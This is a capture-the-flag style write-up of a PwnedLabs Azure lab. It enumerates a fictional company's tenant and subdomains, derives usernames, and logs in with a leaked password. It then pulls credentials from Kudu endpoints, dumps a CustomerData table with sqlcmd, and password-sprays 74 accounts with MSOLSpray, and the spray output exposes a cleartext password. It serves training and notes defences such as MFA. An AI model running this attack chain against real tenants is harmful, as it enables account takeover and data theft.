6. Azure Recon to Foothold and Profit

This write-up is based on PwnedLabs.io’s paid module, Azure Recon to Foothold and Profit, which offers top-notch content at an unbeatable price. While I’m not affiliated with PwnedLabs.io, I highly recommend their resources. Learn more about their subscription options at PwnedLabs.io/pricing.


0. Summary

This module was particularly interesting as it starts with a leaked password. Since we only have a possible password, heavy enumeration is necessary, including web application exploration and subdomain enumeration. Once the credentials and subdomains were identified, we gained low-privilege system access via a web application debugging shell. From there, we pulled data from the database.

1. Does the company use Azure?

1.1 getuserrealm.srf endpoint

I will break this down eventually. For now, the critical information is whether the company is using Azure or not. This can be verified via the getuserrealm.srf endpoint. Apparently this is a valid function of OAUTH, and hard to be removed. This endpoint is needed to discover STS, which is crucial for IAM.

Microsoft Online provides a way to discover the custom Security token service (STS) authentication URL via the “GetUserRealm.srf” endpoint

Within that claims-based identity framework, a secure token service is responsible for issuing, validating, renewing and cancelling security tokens.

Learn more about getuserrealm.srf from Security Token Service.

Meanwhile, let's go through the result:


curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=megabigtech.com&json=1" | jq .

{
  "State": 4,
  "UserState": 1,
  "Login": "megabigtech.com",
  "NameSpaceType": "Managed",
  "DomainName": "megabigtech.com",
  "FederationBrandName": "Default Directory",
  "CloudInstanceName": "microsoftonline.com",
  "CloudInstanceIssuerUri": "urn:federation:MicrosoftOnline"
}
 

More information on these fields is available [here](../Azure General/IAM/Security Token Service#2.3.1 Understand getuserrealm Output).

1.2 Get TenantID using OpenID-configuration

Dig deeper with [Well-Known config](../Azure General/IAM/OpenID Connect#1.1 Well-known configuration document path).

The bottom line is that this page returns configuration metadata, including the Tenant ID, due to the OpenID configuration:

curl -s "https://login.microsoftonline.com/megabigtech.com/v2.0/.well-known/openid-configuration" | jq -r '.token_endpoint' | cut -d'/' -f4
2590ccef-687d-493b-ae8d-441cbab63a72


or visit the url
https://login.microsoftonline.com/megabigtech.com/v2.0/.well-known/openid-configuration

1.3 Azrecon.sh
We can automate this process with the open-source bash script Azrecon.

../Azure General/Tool - Azrecon.sh

$ bash ./az-enum.sh                                                                                                                                        
Enter the domain to perform reconnaissance on:                                                                                                               
megabigtech.com                                                                                                                                              
Enter a username for credential type check:           

Checking getuserrealm.srf endpoint for domain information...                                                                                                 
User Realm Information:                                                       
{                                                                                                                                                            
  "State": 4,                                                                 
  "UserState": 1,                                                             
  "Login": "megabigtech.com",                                                 
  "NameSpaceType": "Managed",                                                 
  "DomainName": "megabigtech.com",                                            
  "FederationBrandName": "Default Directory",
  "CloudInstanceName": "microsoftonline.com",            
  "CloudInstanceIssuerUri": "urn:federation:MicrosoftOnline"                                                                                                 
}                                               


Checking autodiscover.megabigtech.com DNS entry...
Autodiscover DNS Entry:                                                       
autodiscover.megabigtech.com is an alias for autodiscover.outlook.com.
autodiscover.outlook.com is an alias for atod-g2.tm-4.office.com.             
atod-g2.tm-4.office.com is an alias for autod.ms-acdc-autod.office.com.
autod.ms-acdc-autod.office.com has address 52.96.185.200


Testing if the domain is managed or not...                                                                                                                   
Managed Status:                                                                                                                                              
{                                                                                                                                                            
  "State": 4,                                                                                                                                                
  "UserState": 1,                                                                                                                                            
  "Login": "megabigtech.com",                                                                                                                                
  "NameSpaceType": "Managed",                                                                                                                                
  "DomainName": "megabigtech.com",                                                                                                                           
  "FederationBrandName": "Default Directory",                                                                                                                
  "CloudInstanceName": "microsoftonline.com",                                                                                                                
  "CloudInstanceIssuerUri": "urn:federation:MicrosoftOnline"                                                                                                 
} 


Getting the TenantID for a managed domain...                                                                                                                 
TenantID: 2590ccef-687d-493b-ae8d-441cbab63a72      


2. Search for subdomain

When pentesting a large organization, subdomain enumeration should be at the top of the must-do list. Fuff is one of the most commonly used tools. However, due to the complexity of cloud environments, it is often easier to use a tailored tool like AzSubEnum. Tool - AZSubEnum - Subdomain Enum

 git clone https://github.com/yuyudhn/AzSubEnum
 cd AzSubEnum 
 python3 -m venv my_env
 source ./my_env/bin/activate
 pip install -r requirements.txt


$ python azsubenum.py -b megabigtech -t 10       
Discovered Subdomains:         

CDN:                              
-------------------------------        
megabigtech.azureedge.net        

Databases-MSSQL:                               
--------------------------------------         
megabigtech.database.windows.net    

Microsoft Hosted Domain:                       
---------------------------------              
megabigtech.onmicrosoft.com      

App Services:                                  
-------------------------------------          
megabigtech.p.azurewebsites.net                
megabigtech.azurewebsites.net                  
megabigtech.cloudapp.net        

SharePoint: 
--------------------------------   
megabigtech.sharepoint.com        

API Services:                                  
-------------------------------                
megabigtech.azure-api.net                      

Key Vaults:                                    
---------------------------------              
megabigtech.vault.azure.net                    

Databases-Cosmos DB:                           
-------------------------------------          
megabigtech.documents.azure.com                

Search Appliance:                              
------------------------------------           
megabigtech.search.windows.net                 

Azure Container Registry:                      
----------------------------                   
megabigtech.azurecr.io 

App Services - Management:
---------------------------------------
megabigtech.scm.azurewebsites.net  


And success! We were able to access a different web page using https://megabigtech.azurewebsites.net/. Let's scrape useful information, such as names.

I also tried to access the webpage megabigtech.scm.azurewebsites.net, but it requires credentials. For now, I’ve performed a rough enumeration. Let's set this aside for now and move on.

3. Enumerate with AADInternal

The tool Tool - AADInternal by Dr. Nestori Syynimaa is an excellent resource for gathering information. One of the most impressive aspects of this tool is the kill chain, which can be found on his web page. A markdown version is available here: Tool - AADInternal. Not sure where to start? Use this table or follow a mermaid chart from here.

PS> Get-AADIntOpenIDConfiguration -d megabigtech.com

token_endpoint                        : https://login.microsoftonline.com/2590ccef-687d-493b-ae8d-441cbab63a72/oauth2/token
token_endpoint_auth_methods_supported : {client_secret_post, private_key_jwt, client_secret_basic}
jwks_uri                              : https://login.microsoftonline.com/common/discovery/keys
...snip...


PS> Get-AADIntLoginInformation -d megabigtech.com   

Consumer Domain                      :  
Authentication Url                   :  
Tenant Banner Logo                   :  
Federation Brand Name                : Default Directory
Cloud Instance audience urn          : urn:federation:MicrosoftOnline
Account Type                         : Managed
Desktop Sso Enabled                  :  
Domain Type                          : 3
Federation Global Version            :  
User State                           : 1
Cloud Instance                       : microsoftonline.com
Tenant Banner Illustration           :  
Has Password                         : True
Domain Name                          : megabigtech.com
...snip...

PS>Invoke-AADIntReconAsOutsider -d megabigtech.com 
Tenant brand:       Default Directory                                            
Tenant name:        iancloudpwned.onmicrosoft.com                                
Tenant id:          2590ccef-687d-493b-ae8d-441cbab63a72                         
Tenant region:      EU                                                           
DesktopSSO enabled: False  
...snip...

I tried to enumerate the users, but I need user information. Where should I start?

PS>  Invoke-AADIntUserEnumerationAsOutsider -d megabigtech.com
cmdlet Invoke-AADIntUserEnumerationAsOutsider at command pipeline position 1
Supply values for the following parameters:
UserName[0]: 

The most common approach is to pull information from the company's website. We can perform public information reconnaissance using tools like Google, Shodan, LinkedIn, etc. However, in this case, we are limited to the training environment. Let's pull names from the official site mentioned in #2. Search for subdomain.

PS> cat ./names.txt
Yuki Tanaka
Yamamoto Sota
Takahashi Hina
Kato Sara

There are many tools available, but I prefer using namemesh. The idea is to input a list of first and last names into a text file and feed it into the Python script. The script then generates results based on common naming conventions. These naming conventions can also be customized and searched within the script.

The results will be look like this.

python3 namemash.py ./possible_names.txt

cat ./possible_names.txt
yukitanaka@megabigtech.com
tanakayuki@megabigtech.com
yuki.tanaka@megabigtech.com
tanaka.yuki@megabigtech.com
tanakay@megabigtech.com
ytanaka@megabigtech.com
tyuki@megabigtech.com
y.tanaka@megabigtech.com
t.yuki@megabigtech.com
yuki@megabigtech.com
tanaka@megabigtech.com

...snip...

3.1 Get username with AADInternal

Let's use Tool - AADInternal Outsider to search for the username. We'll feed the possible username list into Invoke-AADIntUserEnumerationAsOutsider. And voilà! We have Yuki's username.

PS>  Invoke-AADIntUserEnumerationAsOutsider -d megabigtech.com

cmdlet Invoke-AADIntUserEnumerationAsOutsider at command pipeline position 1
Supply values for the following parameters:
UserName[0]: 

PS> Get-Content ./possible_users.txt | Invoke-AADIntUserEnumerationAsOutsider -d megabigtech.com

UserName : yuki.tanaka@megabigtech.com
Exists   : True

Let's check if the account uses the provided password, `************.
Beautiful. We can get in.

PS> az login -u yuki.tanaka@megabigtech.com -p *****$
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
Password: 
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Microsoft Azure Sponsorship",
    "state": "Enabled",
    "tenantDefaultDomain": "megabigtech.com",
    "tenantDisplayName": "Default Directory",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "user": {
      "name": "yuki.tanaka@megabigtech.com",
      "type": "user"
    }
  }
]

Alert : As the snippet indicates, this attack could have been prevented if MFA has been enabled.

4. Enumerate Yuki's account

Now that we have access to the account, thanks to Yuki-san, let's learn more about it.

Enumerate with credentials is a great starting point. I normally start with the account itself, then move on to the tenant, subscription, and resources.

Why check the tenant? Because a single tenant (or identity) can hold multiple subscriptions. A subscription is linked to a payment setup and can have multiple resources. The purpose of checking the tenant and subscription is to ensure that we are using the intended credentials within the identified scope (if this is an actual engagement).

It appears that Yuki's account has a web app resource. Based on the Microsoft website, and Azure App Services, this resource seems to provide web application capabilities to the customer.

PS> az resource list
[
  {
    "changedTime": "2023-12-03T04:18:32.193546+00:00",
    "createdTime": "2023-12-03T04:13:00.335778+00:00",
    "extendedLocation": null,
    "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-3/providers/Microsoft.Web/sites/megabigtechdevapp23",
    "identity": null,
    "kind": "app",
    "location": "eastus",
    "managedBy": null,
    "name": "megabigtechdevapp23",
    "plan": null,
    "properties": null,
    "provisioningState": "Succeeded",
    "resourceGroup": "mbt-rg-3",
    "sku": null,
    "tags": {},
    "type": "Microsoft.Web/sites"
  }
]


5. Enumerate Web application

Since Yuki's account has web app resource, let's dig deeper into the web applications.

The snippet below provides a lot of information. Let's focus on the enabledHostNames.

enabledHostNames
"megabigtechdevapp23.azurewebsites.net",
"megabigtechdevapp23.scm.azurewebsites.net"

az webapp list

[                                                                                                                                                            
  {                                                                                                                                                          
    "appServicePlanId": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-3/providers/Microsoft.Web/serverfarms/win-ASP",           
    "availabilityState": "Normal",                                               ...snip...
    "customDomainVerificationId": "3A282EE32866205997C9E047B5811E83180CCA0DF43FCF096008BEDAD07F92EF",
...snip...
    "defaultHostName": "megabigtechdevapp23.azurewebsites.net",
    "enabled": true,
    "enabledHostNames": [
      "megabigtechdevapp23.azurewebsites.net",
      "megabigtechdevapp23.scm.azurewebsites.net"
    ],
    "extendedLocation": null,
    "hostNameSslStates": [
...snip...
        "name": "megabigtechdevapp23.azurewebsites.net",
...snip...
"outboundIpAddresses": "20.121.90.241,20.121.91.57,20.121.91.104,20.121.92.26,20.121.92.107,20.121.92.194,20.119.0.40",
    "possibleOutboundIpAddresses": "20.121.90.241,20.121.91.57,20.121.91.104,20.121.92.26,20.121.92.107,20.121.92.194,20.121.93.45,20.121.94.31,20.121.95.0,2
0.232.240.54,20.85.202.92,20.232.240.251,20.232.241.57,20.232.241.74,20.232.241.202,20.232.241.224,20.232.242.1,20.232.242.161,20.232.243.151,20.232.243.155,
20.232.244.135,20.232.245.120,20.232.245.153,20.232.245.181,20.232.245.227,20.232.245.230,20.232.246.15,20.232.246.19,20.232.246.32,20.232.246.87,20.119.0.40
",
    "publicNetworkAccess": "Enabled",
    "redundancyMode": "None",
    "repositorySiteName": "megabigtechdevapp23"

5.1 Kudu service page

The webpage http://megabigtechdevapp23.scm.azurewebsites.net/ leads us to a Kudu Plus page. Kudu services are typically linked to many other services and offer extensive functionality to its users. Therefore, it should only be accessible to authorized users. For more information, refer to Kudu.

The Kudu wiki page provides a strong warning about this feature.

Alert : Ones with Kudu access are ones owning the site - regardless if read-only or not. To expand, they can deploy any codes (good or malicious) to and able to read any secret settings of the site (eg. KeyVault, SQL and Storage credentials, Private Certificates, etc.). Hence for Azure, only those with Contributor / Owner access (to be exact, with microsoft.web/sites/publish/action or, for slot, microsoft.web/sites/slots/publish/action) can access to Kudu (SCM).

5.2 Let's enumerate Kudu services

By clicking the Files REST API link, we can see an interesting file containing credentials and an SQL command. Let's check it out! Azure SQL cmd

https://megabigtechdevapp23.scm.azurewebsites.net/api/vfs/ConnectToDatabase.ps1"


PS> ./sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P '*********'
mssql: login error: Cannot open server 'megabigdevsqlserver' requested by the login. Client with IP address '108.69.89.47' is not allowed to access the server.  To enable access, use the Azure Management Portal or run sp_set_firewall_rule on the master database to create a firewall rule for this IP address or address range.  It may take up to five minutes for this change to take effect.

I love it. There is a firewall rule that prevents us from logging in. Let's continue with the enumeration.

5.2.1 KUDU -debug

Not being able to enumerate via my kali cmd shell is little sad. However, we will find a way! Let's take a look at the Debug Console tab. It provides both cmd and powershell functionality.

5.2.2 KUDU - ENV

https://megabigtechdevapp23.scm.azurewebsites.net/Env.cshtml
This page also displays quite extensive information as well. The highlight is the username and password.

5.3 Sqlcmd

It doesn't seem like I am going to get an interactive shell with the dataserver. It keeps disconnecting with the warning message The last operation was terminated because the user pressed ctrl+c. I know I didn't press that! Not sure what it is. However, we can still execute the command as a one-liner.
Once again when searching for data in a database, the good approach is to start from database--> table --> column. More information can be found here Azure SQL.

Database is given. And we see two tables. I suspect CustomerData is where the money is at. Then, I was able to retrieve the flag.

ps>sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P '*****' -d customerdevneddb -Q "select table_name from information_schema.Tables"

database_firewall_rules
CustomerData


PS C:\home> sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P '*****' -d customerdevneddb -Q "select column_name from information_schema.Columns"


sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P '*****' -d customerdevneddb -Q "select column_name from information_schema.Columns"


sqlcmd -S megabigdevsqlserver.database.windows.net -U dbuser -P '*****' -d customerdevneddb -Q "select * from CustomerData"

Voila!

6. Dig deeper (Optional)

Let's get usernames via Tool - AADInternal.
First of all we need to create a token.


PS> Get-AADIntAccessTokenForAADGraph -SaveToCache
yuki.tanaka@megabigtech.com
password**


 Get-AADIntAccessTokenForAADGraph -SaveToCache
Logging in to Microsoft Services                                                                                        
Enter email, phone, or Skype: yuki.tanaka@megabigtech.com
Password: **********
AccessToken saved to cache.                                                                                             

Tenant                               User                        Resource                  Client
------                               ----                        --------                  ------
2590ccef-687d-493b-ae8d-441cbab63a72 yuki.tanaka@megabigtech.com https://graph.windows.net 1b730954-1685-4b74-9bfd-dac224a7b894




PS> $at = Get-AADIntAccessTokenForAADGraph
PS> Read-AADIntAccesstoken $at
aud                 : https://graph.windows.net                           
iss                 : https://sts.windows.net/2590ccef-687d-493b-ae8d-441cbab63a72/     

aio                 : ATQAy/8XAAAA5UsG2m7KhLMuzgUzNi69LytMKbn/u1aQhLbzTGStfx+YQHPd12wEKqFYiBrf/Y8M 
amr                 : {pwd}                                                   
appid               : 1b730954-1685-4b74-9bfd-dac224a7b894                    
appidacr            : 0                                                     
family_name         : Tanaka                                               
given_name          : Yuki                                                 
idtyp               : user                                                  
ipaddr              : 108.69.89.47                                         
name                : Yuki Tanaka                                           
oid                 : 7d0cfca3-b00e-424c-bf13-d7c2f0869901                  
puid                : 100320031CC81EE5                                      
rh                  : 0.AU4A78yQJX1oO0mujUQcurY6cgIAAAAAAAAAwAAAAAAAAAAOAcM.   
scp                 : user_impersonation                                   
sub                 : REm7hSJyCpgwqaQ_bZ9rrBVpl_zYftoV_85b67gv6bg
tenant_region_scope : EU               
tid                 : 2590ccef-687d-493b-ae8d-441cbab63a72
unique_name         : yuki.tanaka@megabigtech.com                             
upn                 : yuki.tanaka@megabigtech.com                                                                                                            
uti                 : 3xFgCS1OCUKqP2uJ17AfAA                                  
ver                 : 1.0                                                     
xms_idrel           : 1 20 

6.1 Get users

Now that we have a list of users and the password for dbuser, let's give it a shot using Password spray tools. The goal here is to find a user with the same password.

AZ CLI

az ad user list| jq .[].userPrincipalName > usernames.txt

cat ./usernames.txt| cut -d '\"' -f 2 > users.txt

PS>Import-Module ./MSOLSpray
PS>Invoke-MSOLSpray -UserList ./users.txt -Password '*****'
[*] There are 74 total users to spray.
[*] Now spraying Microsoft Online.
[*] Current date and time: 09/19/2024 14:03:33
[*] SUCCESS! dbuser@megabigtech.com : V%#J3c5jceryjcE                                                                   
[*] WARNING! The account msmith@megabigtech.com appears to be locked.
[*] WARNING! The account Oliver.Smith@megabigtech.com appears to be locked.
[*] WARNING! The account rachit@megabigtech.com appears to be locked.
[*] WARNING! The account Rohit.Kumar@megabigtech.com appears to be locked.
[*] WARNING! The account sunita_adm@megabigtech.com appears to be locked.
74 of 74 users tested

Password spraying is a double-edged sword. As the screenshot below indicates, it can lead to user accounts being locked. We can't be certain whether we caused those accounts to be locked, but we can assume we contributed to the increased number of failed login attempts.

6.2 Troubleshooting Invoke-AADIntUserEnumerationAsInsider

I'm encountering an error, and I'm not sure why. So, using Get-AADIntAccessTokenForAADGraph, I supplied Yuki's credentials and saved them to the cache.

PS>  Get-AADIntAccessTokenForAADGraph -SaveToCache
Logging in to Microsoft Services                                                                                        
Enter email, phone, or Skype: yuki.tanaka@megabigtech.com
Password: **********
AccessToken saved to cache.                                                                                             

Tenant                               User                        Resource                  Client
------                               ----                        --------                  ------
2590ccef-687d-493b-ae8d-441cbab63a72 yuki.tanaka@megabigtech.com https://graph.windows.net 1b730954-1685-4b74-9bfd-dac224a7b894



┌──(kali㉿kali)-[/home/kali/Documents/pwnedlabs]
└─PS> Invoke-AADIntUserEnumerationAsInsider
Exception: /home/kali/.local/share/powershell/Modules/AADInternals/0.9.4/AccessToken.ps1:66
Line |
  66 |  …             Throw "No saved tokens found. Please call Get-AADIntAcces …
     |                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | No saved tokens found. Please call Get-AADIntAccessTokenFor<service> -SaveToCache


6.3 Try again with dbuser

Once again, we can see that dbuser has access to the custdatabase resource. However, due to the firewall, we cannot log in from the outside.

PS> az login -u dbuser@megabigtech.com -p '*****'
Authentication with username and password in the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. For more details, see https://go.microsoft.com/fwlink/?linkid=2276314
[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Microsoft Azure Sponsorship",
    "state": "Enabled",
    "tenantDefaultDomain": "megabigtech.com",
    "tenantDisplayName": "Default Directory",
    "tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
    "user": {
      "name": "dbuser@megabigtech.com",
      "type": "user"
    }
  }
]


PS>
az resource list
[
  {
    "changedTime": "2023-10-23T23:09:28.292953+00:00",
    "createdTime": "2023-10-23T22:59:05.971983+00:00",
    "extendedLocation": null,
    "id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/content-static-2/providers/Microsoft.Storage/storageAccounts/custdatabase",
    "identity": null,
    "kind": "StorageV2",
    "location": "eastus",
    "managedBy": null,
    "name": "custdatabase",
    "plan": null,
    "properties": null,
    "provisioningState": "Succeeded",
    "resourceGroup": "content-static-2",
    "sku": {
      "capacity": null,
      "family": null,
      "model": null,
      "name": "Standard_RAGRS",
      "size": null,
      "tier": "Standard"
    },
    "tags": {},
    "type": "Microsoft.Storage/storageAccounts"
  }
]